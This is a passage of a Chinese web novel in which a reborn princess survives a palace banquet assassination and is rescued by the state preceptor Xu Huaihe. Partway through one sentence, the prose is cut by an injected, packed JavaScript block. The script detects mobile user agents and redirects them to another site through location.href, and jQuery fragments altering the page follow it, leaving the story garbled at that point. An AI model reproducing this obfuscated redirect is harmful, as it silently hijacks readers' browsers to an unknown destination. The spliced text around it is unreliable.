他压了压嘴角,刚翻开一页册子,就有两个小太监来报,说是贵妃娘娘送的寿礼极其珍贵,他们担心礼部的人粗手粗脚,怕出了什么岔子,特意来看一眼,还请礼部的人行个方便,他们只确认寿礼无碍即可。 陈贵妃现在是名副其实的宠妃,距离皇后只有一步之遥,礼部的人也不敢得罪陈贵妃派来的人,连忙答应了,亲自开了库房,请两个小太监进去。 两个小太监搬出的理由看似合情合理,许怀鹤却觉得这二人神色惊慌,有所隐瞒,他缓缓起身,跟在小太监后面进了库房,背手站着,发现那两人贼眉鼠眼,鬼鬼祟祟地在张望着什么。 不过一眼,许怀鹤便猜透了他们想干什么,以及他们背后的陈贵妃想做什么。 就在他们两人停在上等的楠木匣前,准备伸手打开时,许怀鹤突然出声提醒道:“两位恐怕找错了,这是昭华公主殿下送的寿礼,并非贵妃娘娘送的。” 许怀鹤进来的悄无声息,两个小太监根本没发现背后多了个人,现在突然听到许怀鹤的声音,两个人都被吓了一大跳,原本就心里有鬼,现在更是冷汗直冒。 “贵妃娘娘送的寿礼在那边。”许怀鹤淡声道,“两位当我不存在便是,查看完了就走吧。” 许怀鹤敢这么说,两个小太监却不敢当真这么做,而且有许怀鹤盯着,他们也不能做什么手脚。 他们点头哈腰地想找借口请许怀鹤出去,却被许怀鹤冷冷一扫,浑身像结了冰一样定在原地,心里不住地慌乱,总觉得许怀鹤好像看出了什么。 许怀鹤似笑非笑,意有所指:“贵妃娘娘还等着两位回去复命呢。” 两个小太监心惊肉跳,一刻也不敢多留,看完了贵妃的寿礼之后,就脚步匆匆地逃命一样从造册的地方回了怀柔宫,扑通一声跪下请贵妃娘娘饶命,他们没能成事。 “许怀鹤。”陈贵妃眯了眯眼睛,她也没想到今日之事居然会是这人阻挠,但她一时又想不出许怀鹤和自己有什么过节,也觉得许怀鹤不可能知道她的算计,只能把这事归于巧合。 “算了。”陈贵妃起身,看了永宁一眼,“你的那幅祝寿图也算拿得出手,父皇会夸你心灵手巧,赞叹你心意的。这次就先放过昭华,等下次,本宫会让陛下加倍厌恶她。” 12.第 12 章 容钰对暗中发生的这一切丝毫不知,她在坤宁宫小憩了一会儿,春桃重新帮她梳发时,听到外面小太监来报,说御书房已经议事完毕,陛下邀昭华公主殿下一同用午膳。 和父皇一同用膳是常有的事,自从她离宫入住公主府之后,每次入宫来,除非她有事走的早,或者不想同陈贵妃在一张桌子上相看两厌,都会留下来陪父皇用膳。 今日菜色也是她平时最喜欢的,龙井虾仁淡雅清爽,荔枝肉带着点点酒酿的香甜,滑而不腻,入口即化,宫人在旁边殷勤布菜,容钰抿了一口蛋羹,却没什么胃口。 她捏着小巧精致的酒杯,垂眸看着里面晶莹剔透的酒液,突然惊觉自己和父皇相处的时间好像并不多。 除了一起用膳的时候,在她的印象里,父皇总是为国事操劳,和她见面也不过说几句话,就又要起身离开,而代替父皇亲自关怀的,便是那些如流水一样的大量赏赐。 父皇是天子,是一国之主,事务繁忙,难道父皇对她的关照还不够吗?容钰捏着酒杯的指尖微微颤抖起来,她在心里劝慰自己,不要过于贪心,可另外的想法却不断冒出来反驳她—— 可是她独自住在坤宁宫,母后离去后的那几年里,父皇待在怀柔宫的时间,远比来看她的时间多。 她有时去御花园游玩,路过怀柔宫时,还能听到里面传来的笑声,父皇笑声朗朗,举着年幼的永宁,像寻常父女那样转圈,旁边的陈贵妃一如既往地温柔笑着,仿佛他们才是真正的一家人。 父皇最疼爱她,最喜欢女儿是她,总是给她最好的,可是,真的是这样吗? 是她一叶障目,自欺欺人,看不清周围的人心,也看不懂父皇的意图,父皇会不会从一开始,就因为更宠爱陈贵妃,所以更喜欢永宁? 那种不安又蔓延上来,裹住了她,变成了萦绕在周身挥之不去的寒意,容钰有一瞬间恍惚,觉得自己好像又回到了那辆摇摇晃晃,将她送往边关的马车上。 耶律小王子用带着恶意和情色的眼睛看她,仿佛她是一个漂亮的物件,可以随意供人把玩,不要了就能随手丢弃。 “昭华?” 熟悉的嗓音响起,容钰抬头,对上了父皇带着笑的双眼,而父皇此刻的面容,却和那日在御书房里高高在上,冷漠无情的脸重合,容钰紧紧捏住了酒杯,忍住心悸,勉强弯唇:“父皇方才说什么?” “你可有心仪的人选?父皇指给你做驸马。”皇帝看着容钰,眼中无波无澜,“若是没有也无妨,今岁科举在即,等放榜那日,状元还是探花任你挑选。” “许怀鹤”三个字在唇齿边轻轻一转,容钰抿住唇角,装作羞怯地开口:“没有,昭华还想多留几年,不想这么早就找驸马。” 皇帝了然地点了点头,没有多说什么,也没再提起这话,桌上又恢复了惯有的安静,容钰放下酒杯,惊觉自己手心里全是冷汗。 她突然记起上辈子父皇寿辰,这日她进宫赴宴,午膳时父皇也同她询问了有关驸马的事宜,她当时的回答和今日别无二致。 她心里没有好的驸马人选,当时也从未把许怀鹤纳入考虑范围里,自然推脱。 父皇是不是从这时起,就已经有了将她送去和亲的想法? 容钰心里一紧,开始后悔自己刚才的回答,如果真是这样,她还不如直接说出许怀鹤的名字呢! 可是如今再改口已然来不及,容钰心下惴惴,再也没有胃口,草草喝了小半碗养胃粥就放下筷子,等父皇用完饭,道别回了坤宁宫。 而直至她离开,父皇都没有发现她心绪不宁,更没有问她为何没有胃口。 容钰坐在窗边,望着冬日难得的晴空,浅蓝色的天幕浮动着一层金黄的光,那些小块的阴云被风一吹就散了,只留下一片空茫,正如此刻她的心境。 许怀鹤…… 容钰默念着这个名字,就像踽踽独行的人在黑暗中终于找到了前路,有人提灯看过来,她迫切地伸出手,想要抓住那束希望,那人却不为所动,只用一双淡漠的眼睛看着她,不带丝毫情意。 容钰心口一滞。 院子里和屋廊下都静悄悄的,描着梅花的宫灯穗子被风吹起,桂嬷嬷板着脸走过来,牵着容钰的手,将她带离了窗边,不许她再多吹冷风,又让人拨了炭火,使得屋子里更暖和些,亲自捧了热茶过来,为容钰暖身体。 过了半晌,春桃从外面进来,对着容钰福了福身,小声道:“公主殿下,奴婢打听到了,永宁公主今日穿的是藕色暗纹云锦长袍,衣襟处用银线勾出梨花枝影,袖口缀着两圈雪貂毛,梳着单髻,点缀梨花形状的珠钗。” 她语气骄傲,定定道:“不如殿下美貌分毫!” 春桃的话并非出于恭维,昭华公主殿下是整个大夏一等一的美人,绯红的月华裙曳地生辉,浅金襕纹在走动时若隐若现,外面罩着牡丹纹霞短袄,完全不用担心气度压不住华贵的衣饰,越是盛装,越是国色天香。 屋里的小丫鬟们都悄悄笑起来,容钰也舒展了眉目,轻轻一抿唇,华光生彩。 容钰心情好了些,她拿起从公主府带过来的,新出的话本子翻阅打发时间,却不知不觉看入了神。 这次的新话本子很有意思,讲的是一只男狐狸精化成人形,高中探花后求娶千金小姐,报千金小姐救命之恩的故事。 寻常的话本都是女子做狐狸精,要么报恩,和恩人结为夫妻,白首不离,要么便做了人人喊打的狐媚子,勾引男子不成,反被道士一剑刺穿,落得个被剔骨扒皮的凄惨下场。 而这话本里的狐狸精却是男子,还努力考取功名,赢得圣上青睐,不让那千金小姐低嫁。他刚化人形的时候,不懂得如何做人,便模仿学堂里的一位书生,装出清高的样子,对谁都彬彬有礼,也冷冰冰的。 但是后来,在与千金小姐的相处中,他便逐渐暴露了狐狸精的本性,情话动听,眼神直勾勾又炽热,还几次三番无意中做出孟浪举动,勾的千金小姐面红耳赤,羞怯不已。 容钰也看红了脸,每看几段都要放下话本挡着脸,压一口茶缓缓,平息心跳,免得被旁边的桂嬷嬷看出了端倪,又嫌她看些不正经的书,没收了去。 她看到关键处,话本中的两人即将情定月下,私定终身,外面突然来了个小太监,告知她得赶紧赴宴。 容钰颇为不舍地合上话本,坐在铜镜前看了一遍自己的妆容和衣冠,确定无任何差错之后,轻轻颔首,由春桃扶着上了软轿,前往宫宴所在的大殿。 大殿的四角都有暖炉,放杯碗盘筷的桌案已经布置好,分列两边,专门为大臣们准备。殿内温暖如春,烛光明亮如昼,夜明珠镶嵌在灯台,宫女来来往往,手脚麻利,铜炉里的熏香散发着淡淡的檀木气息。 容钰仔细闻了闻,又觉得和许怀鹤身上味道不尽相同,殿里的檀香要更浓一些,也更甜一些,闻久了或许会头晕脑胀,需得出去透口气。 陈贵妃和永宁已经先她一步到了,见到容钰进来,两边互相福了福身,就算是行过了礼,打过了招呼,默然坐下。 后宫里其他嫔妃位分低,生的孩子也不得宠,也没为皇帝添皇子,自然没有资格来宫宴,只有陈贵妃有资格坐在皇帝身侧,几乎和容钰平起平坐。 永宁紧挨着她,眼神不忿地盯着容钰明媚精致的脸颊,眼里的嫉妒浓的化不开,指甲几乎要把裙面刮破,还是没忍住出声道:“说起来,永宁还没谢过姐姐将孔大儒让给我当夫子呢。孔大儒有惊世之才,永宁跟着老师学到了不少,父皇也夸赞我聪慧呢。” 被陈贵妃手把手教了这么多年,永宁深知要怎么才能最戳容钰的痛处,她也十分自信,只要自己这么说,头脑简单又单纯的容钰必定会生气,和她吵嘴。 马上群臣百官就要入宴,正好让这些人看一看,昭华公主是怎么娇蛮豪横,连自己亲妹妹都欺负的! 永宁得意地微微抬起下巴,挑衅地看着容钰,似乎已经看到了容钰名声更差的未来,桂嬷嬷板着脸,而容钰只是静静看着她,眼神复杂地平静开口:“是吗?那真是恭喜永宁妹妹了。” 上辈子,孔景华没有成为永宁的老师,在宫宴开始前,自然也就没有这么一茬。事情还是因为她的重生发生了变化,但她也不会再像之前那样,轻易被永宁激怒,在外人面前丢脸出丑了。 永宁这些小把戏用的次数太多,她就算再傻,吃一堑长一智后也能看透,更不会再上当,不会让永宁得逞。 今日便罢了,容钰静静地想,若是永宁还敢像上一世一样,跑到她的公主府去闹腾,假惺惺地说些什么,不把她这个姐姐放在眼里,她必定要亲自给永宁一巴掌,届时父皇到底会偏袒谁呢? 听到容钰的回答,永宁意外地瞪大了眼睛,就连一直默不作声的陈贵妃也有些惊讶地抬眼,朝着容钰看了过来。 永宁还想再说些什么,但门外的群臣已经依次进入大殿,入席就坐,永宁不得不闭上嘴,但看向容钰的眼神还是阴沉沉的,被陈贵妃轻轻拍了拍手背作为警告,她才收敛了神色。 容钰也没再看永宁和陈贵妃,她握了握桂嬷嬷的手,示意对方宽心,自己没生气,转而望向下面的群臣。 外祖父喜静,又早已辞官,没来赴宴,舅舅也和上一世一样忙着练兵,今夜又全城戒严,他管着禁军,无法抽身参宴,而容钰只一眼,就看到了身量高大,出类拔萃的许怀鹤。 许怀鹤今日换了青色的道袍,比其他人的官服更飘逸,鹤纹袖口也更宽大,走起路来自带风意,有一种名士的潇洒,但又带着修道之人独有的克制禁欲。 他的长相太出众,面颊似寒玉削就,下颌线清晰凌厉,眼尾狭长如同工笔勾描,瞳色很深,像黑色的鸦羽,抬眼的刹那仿佛寒潭凝冰,浑身都是冷意。 就连陈贵妃都忍不住多看了他几眼,永宁也悄悄盯着他,因为距离极近,容钰甚至能够听到永宁小声询问陈贵妃:“穿着道袍而非官服,那就是国师吗?” 陈贵妃颔首,轻轻点了下永宁的鼻尖笑道:“他名讳许怀鹤,怀柔宫里的那几盒玉容膏,便是皇上从他那里得来,又送给我们母女的。” 陈贵妃的声音不高不低,不至于让下面的群臣听到,但又能让容钰听得清清楚楚。 说这话的时候她并未看容钰,但话里话外无一不在显摆皇上宠爱她,疼爱永宁,就连京城里最珍稀的,高门贵妇们抢着要,据说万两黄金一盒都买不来的玉容膏,都能说送就送。 永宁悄悄斜着眼观察容钰反应,想看容钰露出伤心震惊的神情,好让自己心里爽快,但又一次让她失望的是,容钰听到这些话,并没有多说什么,神色甚至有些奇怪,像是想笑,但又抿住唇角没笑出来。 就连容钰旁边的桂嬷嬷都一副鄙夷的样子,狗奴才,永宁暗骂了句,心里诧异容钰怎么不但没有生气,反而好似还在嘲笑她们? 容钰确实有些想笑,听到陈贵妃的话,她心里先是泛起一股苦涩,纵使已经知道父皇并没有她想的那么宠爱她,或许上辈子永宁说的那些话都是真的,可她心里还是存着念想,说不伤心不心寒是不可能的。 但陈贵妃要是想在她面前炫耀玉容膏,那可就显摆错了人。 许怀鹤做出玉容膏之后,头一个送的人就是她,且第一次就送了一大箱过来,后面每次给她送东西时,比如给舅舅的伤药,都会捎上许多盒玉容膏,就算她一天用一盒,也得用到明年春去。 别人视若珍宝,稀奇无比,一次只舍得用一小勺的玉容膏,对于她来说却是再寻常不过的物件,陈贵妃和永宁得意洋洋,等着她妒忌的模样真是惹人发笑。 容钰本想嘲讽回去,但一想到这些玉容膏是许怀鹤亲手做的,在外面数量稀少,许多人争抢,自己若是炫耀出去,指不定会为许怀鹤添麻烦,惹得许怀鹤厌恶自己,才忍住没开口。 她垂眸细想着,心里突然多了几分警惕。容钰捏了捏帕子,忽然想起上辈子直到她被送去漠北和亲时,永宁也已及笄,却和她一样迟迟没有驸马,她也从未听说永宁看上了哪家公子。 这一世国师已经不是虚职,许怀鹤掌管钦天监,有了参加宫宴的资格,也坐到了百官中间的位置,和容钰隔得不远不近,加上养气丹和玉容膏的名气太大,这才入了陈贵妃和永宁的眼。 永宁可别看上许怀鹤了! 容钰忍不住朝着许怀鹤看去,许怀鹤已经落座,他理了理衣袖,忽然抬头,和容钰的视线隔空碰上,却一触即分,很快垂下眼,快到容钰都分不清他到底是否看到了自己。 许怀鹤避开她的目光,容钰的心里又凉了凉,她轻轻咬住下唇,抿了一口摆在桌上的温酒,被里面的梨子气呛了一下,皱眉推远,对着身侧的小宫女道:“换一盏来。” 她最讨厌的便是梨,不光因为永宁喜欢梨花,更因为她自己小时候体弱,经常咽痛咳嗽,太医总喜欢制梨膏送来,就连药里也加了梨和川贝。 她讨厌药的苦涩,也就厌恶梨的味道,还有梨花的香气。宫宴是谁布置的?礼部怎么会如此粗心大意,竟不知道她的习惯,还特地让人上了梨子味的果酒? 容钰皱眉朝着对面看去,果然又对上了永宁略带得意的笑脸,她捏住帕子,沉沉吸了口气,别过脸不想再看,且忍这一次! 永宁这下是真真切切地惊讶了,今日她几次三番挑衅容钰,容钰都忍住了没发脾气,连回嘴都不曾,换做以往,容钰怕是早就气得朝她扔碟子了,难道容钰真的改了性子?还是说容钰变聪明了? 这不可能! 容钰鼓着脸生闷气,却并不知道就在她皱眉咳嗽的那一刻,下面沉默听着周围官员寒暄的许怀鹤突然抬头,朝她看了一眼。 殿门的大太监高声吟唱,容钰转过脸,正了正神色,缓缓站了起来,下面的百官也立刻停止了寒暄,肃然起立,弯腰行礼,恭迎皇帝进殿。 明黄的龙袍十二章纹玄纁,衣袍边缘在织金的地毯上擦过,皇帝在鎏金御座上坐下,冕旒晃动,众臣都低着头不敢直视,大声呼喊“吾皇万岁万万岁”,恭敬的声音在大殿里回荡着余音。 而无人在意处,许怀鹤极嘲讽地轻轻勾了一下唇角,露出一抹冷笑。 站在权利的顶峰,坐拥天下,巨大的快感让皇帝的脸上浮现出真心的笑容,他意气风发,落座后轻轻摆手,让众人不必多礼,又说了一些场面话,宫宴便在丝竹乐曲声中开始了。 容钰对这样的宫宴流程早已烂熟于心,她端庄地坐着,看着来往的宫女们脚步轻而快,将一道又一道佳肴呈上桌案,而这些菜品看上去可口精致,实则分量极小,味道寡淡,都是为了防止品尝的人殿前失仪。 恰巧容钰也没什么胃口,那杯梨子味的果酒已经败坏了她的兴致,她只吃了几口酥点,配着清茶,静静听着缠绵婉转的曲调。 歌女素手轻拨琵琶,柔美的调子突然一转,舞姬们身穿胭脂红软烟罗抹胸裙,脚踝处系着的铃铛声清脆,款款进入殿内,对着众人娇俏一笑。 她们的穿着打扮极为大胆,锁骨处贴着金箔花钿,披帛上撒着香粉,露出纤腰和肚脐,裙裾侧面开叉直到小腿,刚一出现就吸引了大殿内绝大多数男人们的目光,更有人连眼睛都挪不开,直愣愣地盯着这些妖娆美丽的舞姬们。 容钰下意识地朝着许怀鹤的方向看去。 许怀鹤依旧端坐着,半点目光都没有分出去,修长的手指扣着杯盏,眸光冷淡,“君子”一词在他身上体现的淋漓尽致,和那些大腹便便,目光呆滞的其他官员完全不一样。 容钰松了一口气的同时又提起了心,许怀鹤当真不为女色所动,这些舞姬各个妖艳,是男子们最喜欢的类型,就连这样,许怀鹤都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15139069|163623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不曾看她们一眼,那自己又有什么优势,能够博得许怀鹤的青睐呢? 歌舞还在继续,宴席上觥筹交错,谈笑声不断,舞姬们的裙摆飞扬,仿佛一朵朵胭脂色的海棠花,她们身上散发的甜香和殿内浓厚的檀木香混合在一起,容钰越发觉得有些头晕,就连眼神也迷瞪了起来。 就在这时,异变陡生。 原本柔弱无骨的舞姬们突然抽出藏在小腹的匕首,调转方向,齐齐飞身向着上首皇帝的座椅刺去。 她们的同伙在前一刻扑倒了烛台,打碎了夜明珠,殿内陷入一片昏暗,火舌燎烧着地毯和帘帐,不过几息,就已经窜出了一道火龙。 殿内的文臣们个个大惊失色,乱做一团,武将们的反应及快,回神之后就立刻朝着龙椅冲去,势必要保护好陛下的安全。 这可是御前救驾的机会,要是抓住了…… 容钰被突如其来的刺杀惊得僵在原地,直到身侧的小宫女发出尖叫声,她才惊慌地想起身逃跑,却发现自己手脚瘫软,一离开座位就跌倒在了地上,只能眼睁睁看着火苗离自己越来越近,眼看就要烧到自己的裙摆。 桂嬷嬷在黑暗中失去了方向,被逃跑的宫女太监们一撞,她捂着疼痛的腰,迷失在了人群里,被不断推搡着,被迫离容钰更远了。 桂嬷嬷急得大喊,撕心裂肺,可是杯盘摔碎的声音,还有其他人的尖叫哭嚎又掩盖住了她的叫喊,容钰耳边混沌一片,眼前似乎有刀光剑影闪过,还有鲜血喷溅而出,洒落在菜肴上。 宫宴变成了血宴,容钰看着猩红的菜肴,一阵反胃,她捂着嘴干呕了两声,愣愣地跌坐着,想呼救却发不出声音,喉咙干涩像堵着棉花,双臂不住颤抖。 这和前世不一样……完全不一样……到底是哪里出了问题?自己的重生带来的影响会有这么大吗?难道她今日就要命丧于此吗? 皇上遇刺,所有人的注意力自然都在皇帝身上,胆小的人在拼命往外逃,武将们也忙着保护皇帝,杀刺客立功,无人关心宫妃和公主们的安危。 一片混乱里,有人轻轻扣住了容钰的腰,将她带离最危险的地方,容钰一抖,以为是刺客,下意识地想要挣扎,却突然闻到了熟悉的令她心安的香气,立刻松了力道,整个人都瘫在了许怀鹤的怀中,紧紧靠着他的胸膛,像抓住了救命的浮木。 温香软玉撞了个满怀,容钰伸出手臂环住他的腰,胸前的柔软蹭在他腰腹,全然信赖依恋的样子,许怀鹤的动作顿了顿,低声试探道:“公主殿下,臣是许怀鹤。” 公主殿下将他错认成了谁,才会露出这番姿态?若是旁人,那便趁此机会杀了…… 回复他的是容钰低低一句“嗯”,带着软糯的哭腔,以及将他抱得更紧的双臂,和贴的更紧的身躯。 许怀鹤眼中的杀意散了几分,他单手抱着容钰,轻声道了句“失礼了”,克制着抚摸容钰脸颊,为她擦去那泪痕,落下亲吻的冲动,一脚踢飞了倒过来的刺客。 那位舞姬本就负了伤,匕首瞬间脱手飞了出去,也不知道是许怀鹤有心还是无意,匕首正巧落在了陈贵妃和永宁公主躲着的座椅边,擦过了陈贵妃的手臂,锋利的匕首瞬间带出一条深可见骨的伤痕,同时也刮破了永宁的面颊,鲜血滴落,将她领口的白色貂毛染红。 永宁放声尖叫起来:“我的脸,我的脸啊啊啊啊啊!” 陈贵妃忍着手臂的疼痛,死死一把捂住了永宁的嘴,不让她再发出声音。 她们不能被刺客发现,她更不能死在这里,她还没有成为最尊贵的皇后,还没有诞下皇长子,她怎么能死在这里?! 也许是陈贵妃内心的求佛拜神起了作用,镇国公带着禁军及时赶到,殿内的刺客也被武将们清除干净,禁军训练有素,不过片刻就扑灭了殿内的火,将逃跑的宫人抓了回来,烛台也重新换了一批,再次照亮了殿内的景象。 殿内早就不复刚才的其乐融融,玉盘珍馐,此刻只剩尸山血海,倒了一片刺客的尸体,还有被误伤的宫人,腥臭盖住了檀香,人心惶惶,冷风呼啸。 皇帝被一群武将们围在中间,他靠在龙椅上,并未受伤,只是袖口沾了点刺客的血,他惊魂未定地捂着胸口,脸色铁青,表情愤怒,怒吼:“查!去查这些刺客是谁派来的!” 镇国公走上前,他卸甲半跪,快速朝着容钰的方向看了一眼,发现容钰并未受伤,只是受了惊吓脸色苍白,这才放心下来,深深低头对着皇帝道:“臣救驾来迟,请陛下责罚。” 皇帝动了动唇,面容有一瞬扭曲:“此事非镇国公之过,先查明刺客的底细再说。” “父皇没事便好。”容钰声音颤颤,看到舅舅和父皇俱在,她心里的委屈和害怕好像终于找到了倾泻口,含着眼泪,“没事便好。” 看到女儿如此关心自己,皇帝震怒的神色松动了一些,旁边的陈贵妃捂着手臂,也赶紧忍着痛关怀慰问,她妙语连珠,又哭着说永宁伤了脸,让皇帝心疼不已,连忙叫了太医。 容钰霎时被冷落,她别过脸,沉默地擦了擦眼角晶莹的泪,对着离开的镇国公小声做着口型,喊了声“舅舅”。 在烛台点亮的那一瞬,许怀鹤就不着痕迹地松开了手,退到人群边缘,仿佛自己方才什么都未做。 容钰察觉到许怀鹤想离开,有些惊慌地伸出手,扯住了许怀鹤的袖子,却听到许怀鹤低声道:“公主不方便和臣有牵扯。” 那些豺狼虎辈都盯着他,稍有不慎就会牵连到容钰,就像今日宫宴上的行刺,他也不确定是哪一头蠢猪做出来的决定,竟敢在这个节骨眼上动手,他们就这么等不及? 容钰心里又一凉,缓缓松开了指尖。 在许怀鹤怀抱里时,她只觉得安然,好像只要许怀鹤在,自己就一定不会出事,只要有许怀鹤保护,她就一定能活下来。 她不知道自己为什么会有这样的念头,但又喜于许怀鹤居然会保护自己,这是不是说明,许怀鹤其实心里还是有她的? 可是许怀鹤这时的话又如迎头一盆冰水,泼在她的面颊,容钰剧烈跳动的心瞬间结冰,她沉默地看着许怀鹤转身离开,不明白许怀鹤为何会那样说。 她不方便和他有牵扯?是许怀鹤不想和她有牵扯才是吧? 桂嬷嬷一瘸一拐地推开宫人走出来,流着泪快步回到了容钰身边,拉着容钰的手,上上下下看了容钰一番,确认容钰没有受伤,只是头发乱了些,耳坠也掉了,这才哭着放下心。 容钰低声宽慰她:“我没事,嬷嬷。” 她本想说是许怀鹤救了她,但想起许怀鹤的话,又负气地抿住唇。 要不是为了避免被送去和亲,她才不想和他有牵扯呢! 惊波过后,收拾善后的活给了禁军和刑部,容钰也被安排了太医把脉,太医只给她开了一副安神的方子,容钰让桂嬷嬷收下,视线却落在对面陈贵妃和永宁的身上。 哪怕讨厌她们,她们的惨状也让容钰有些于心不忍,太医来的及时,为永宁敷了药,但脸上的那道伤口肯定会留下疤痕的,这对于永宁来说,恐怕比杀了她还要难受。 察觉到容钰看过来,永宁脸上的怨毒几乎遮不住,她冷冷看着容钰完好无损,即便苍白也美得惊人的脸,妒火中烧,指甲抠烂了裙面。 后续的赏罚和查处和容钰都没有什么关系,闹了这么一通,容钰又累又困,她不想在宫里留宿,害怕有刺客还未查清,又出事端,强撑着疲惫地出了宫,坐上回公主府的马车。 她靠在软枕上,抬手摸了摸空荡荡的耳边,心里有些遗憾,那可是她最喜欢的耳坠之一呢,白色的珍珠被刻成了山茶花的形状,也不知在乱中丢在了哪个角落,被谁捡了去。 同一时刻,许怀鹤被问话之后,排除嫌疑回了观星楼,他换下染血的青色道袍,缓缓摊开手,一颗珍珠耳坠静静躺在手心。 13.第 13 章 * 刑部向来给人的感觉便是冰冷肃杀,不如礼部那般风度翩翩,也不如户部那般富裕堂皇,就连刑部的官员也个个沉着脸,闷声做事。 只是今日刑部仿佛格外热闹,闻锐达抱着宗卷从耳房出来时,看到有好几个同僚在正厅讨论着什么,他并不欲参与他们的谈话,正准备目不斜视地抱着宗卷回去,就听到有人低低说了句:“听说公主殿下被刺客伤了脸。” 闻锐达的脚步猛地一顿。 昨夜宫宴皇上遇刺的事情虽然被捂了个严实,但闹出那么大的动静,京城百官心里都有数,知道皇上这次震怒,势必要彻查到底。 虽然皇上命令刑部和禁军一同行动,赶紧抓出刺客的幕后指使,但是探查刺客这样的大事,是落不到他们这些小官员头上的,闻锐达并不了解个中细节。 现在听到有人说公主殿下伤了脸,他第一反应便是容钰受了伤,心下像坠了一块石头,脚步却陡然加快,转身朝着正厅走去。 哪怕他如今依旧不了解昭华公主的性情,但天底下哪个女子不爱美?昭华公主殿下是他平生所见过的最美的女子,若是真伤了脸,想必十分伤心。 这京城里还有不少人看不惯昭华公主平日的做派,保不得要趁机落井下石,外面传些风言风语,若是被她听去,她会生气流泪吗? 见到闻锐达进来,那几个同僚互相使了使眼色,默契地撇过话题不再多说,谁都不想被闻锐达指着鼻子说“懈怠误工”。 闻锐达古板无趣的性格和他的老师孔大儒如出一辙,又不通人情,来刑部这么久,见面礼都没送过,活该他没朋友,又被推去查朱砂案,被上司穿小鞋。 自己一来他们就停止了话头,闻锐达也知道自己不受待见,但还是没忍住询问道:“公主殿下的伤好些了吗?” 其中一个同僚惊奇地看了闻锐达一眼,没想到闻锐达竟然有一天也会和他们一起闲聊,从鼻子里哼了一声气,敷衍道:“永宁公主的事哪是我们能够打听的?有医术高超的太医在,肯定不成问题。” 受伤的是永宁公主啊。 不是她就好,闻锐达微不可查地松了口气,对着几个同僚点了点头,抱着宗卷再次转身离开,听到背后传来了一句低低的“怪人”。 闻锐达没有停顿,只是默然往前走着,他知道自己心里有古怪,也知道自己的想法不对,不管是哪位公主受伤,都和他没有太大关系,但在得知昭华公主殿下安然无恙时,他确实有片刻的庆幸。 朱砂案已经不允许他再插手探查,但闻锐达处理完宗卷后,还是又一次去了河岸边,路过了奇珍阁。 现如今的奇珍阁已经远不如之前风光,闻锐达没有走进去,只是站在外面看了几眼,不自觉想起了他和昭华公主见的第一面。 他一向不喜欢,也看不惯过于柔弱的东西,不管是物件还是人,都要刚强,才不会轻易被他人所伤,才能在这个世道活下去。 而昭华公主就如同花中娇客,像一朵粉山茶,脆弱金贵,需要精心养护才能绽放出光华,若是稍有不慎,就会从枝头跌落,抱香而亡。 按理来说,他不应该对这样的人多加注意,可是一想起昭华公主,闻锐达就忍不住想,公主殿下肯定在宫宴上受惊了吧,此刻还安好吗? 容钰此刻并不好受。 她的身体底子弱,哪怕今年冬天有许怀鹤的药丸养着,不再咳嗽,但昨晚宫宴狠狠受了惊,心神不宁,加上后来殿内炭火熄灭,殿门大开,冷风呼呼地灌进来,又受了凉气,当晚就发起了低热,陷入梦魇,迟迟醒不过来。 因为冷,梦里都是一片冰天雪地,容钰捂着胳膊直打寒颤,分不今夕何夕,自己又身处何地,脚步虚浮,慌乱地寻找着出路。 梦里的画面不断跳跃着,一会儿是她对镜梳妆,笑意盈盈;一会儿是上辈子永宁在她和亲前登门嘲讽,说着还要伸手掐她的脖子; 一会儿是年幼的她扑进母后怀里撒娇,母后却突然不见了;一会儿是耶律小王子拉扯着她的衣襟,让她做他的女人;一会儿是浑身染血的刺客朝她挥刀,要刮花她的脸。 不要!不要! 容钰慌不择路地逃跑,她披散着头发,狼狈不已,被脚下的枯枝绊了一跤,猛地向前跌倒,却并没有摔进冰冷坚硬的土里,而是落入了一个温暖的怀抱。 檀香绕着鼻尖,容钰瞬间湿了眼眶,梦里的她顾忌少了许多,也抛开了那些规矩教条,纤细的小手用力锤打着许怀鹤的胸口,带着哭腔责怪他:“你怎么才来啊……” 原本的白雪茫茫变成了熊熊烈火,热气在蒸腾,她和梦里的许怀鹤又一次回到了大殿内,这一次大殿不再因为烛台倒塌而昏暗,她清清楚楚地看到了许怀鹤衣袖上的鹤纹,还有被她眼泪沾湿的衣襟。 火蛇在他们周围缭绕,容钰的后背都出了一层薄汗,但她依旧不愿意放开许怀鹤,紧紧抱着他,攥住他胸口的衣料,半点不害怕。 恍惚间,容钰听到许怀鹤沉沉地叹了一口气,似乎想说什么,她有些茫然地抬头,还没等到她看清许怀鹤脸上的神情,就感觉到自己的额头一凉,冰得她下意识睁开了眼睛。 “殿下,您终于醒过来了。” 桂嬷嬷担心的脸颊映入眼帘,容钰眨了眨睫毛,意识到刚才的一切都是自己的梦境,心绪说不上来的复杂,有些无力地抬手摸向自己的额头,指尖触感冰凉,原来是用细布做成的冰袋。 她把冰袋推开,春桃立刻上前拿走,心疼地看着容钰苍白的面容,心里恶狠狠地咒了一番昨夜闹事的刺客们,又轻柔地帮容钰拂开贴在脸侧的湿发,用帕子擦去冷汗。 “药已经煎好了,”桂嬷嬷说着,将药碗端过来,用汤勺舀起,试了一下药的温度,等温度适合入口,才递到容钰嘴边,劝着她喝,“宫里的太医已经来过了,太医说您受惊魇着了,开了退热安神的药,没那么苦,您试试?” 从小到大,桂嬷嬷都是这么骗她喝药的,容钰知道这碗药必定和之前一样极苦,别过脸,紧紧抿住唇不想喝。 春桃和桂嬷嬷轮流劝了她一会儿,容钰也不肯松口,只摸着被面上的山茶花刺绣,像被长辈宠溺耍脾气的稚童,直到桂嬷嬷叹了口气:“殿下若是不愿喝,那老奴就只能去求国师大人,请他制一瓶不苦的药丸了。” 谁要求他!他巴不得和她撇清关系呢! 容钰抖了抖长睫,她鼓起脸,气闷地嘟嘴,声音因为长时间未进米水有些沙哑:“我喝。” 桂嬷嬷无奈,和春桃对视一眼,果然一提起国师,公主殿下就变了。 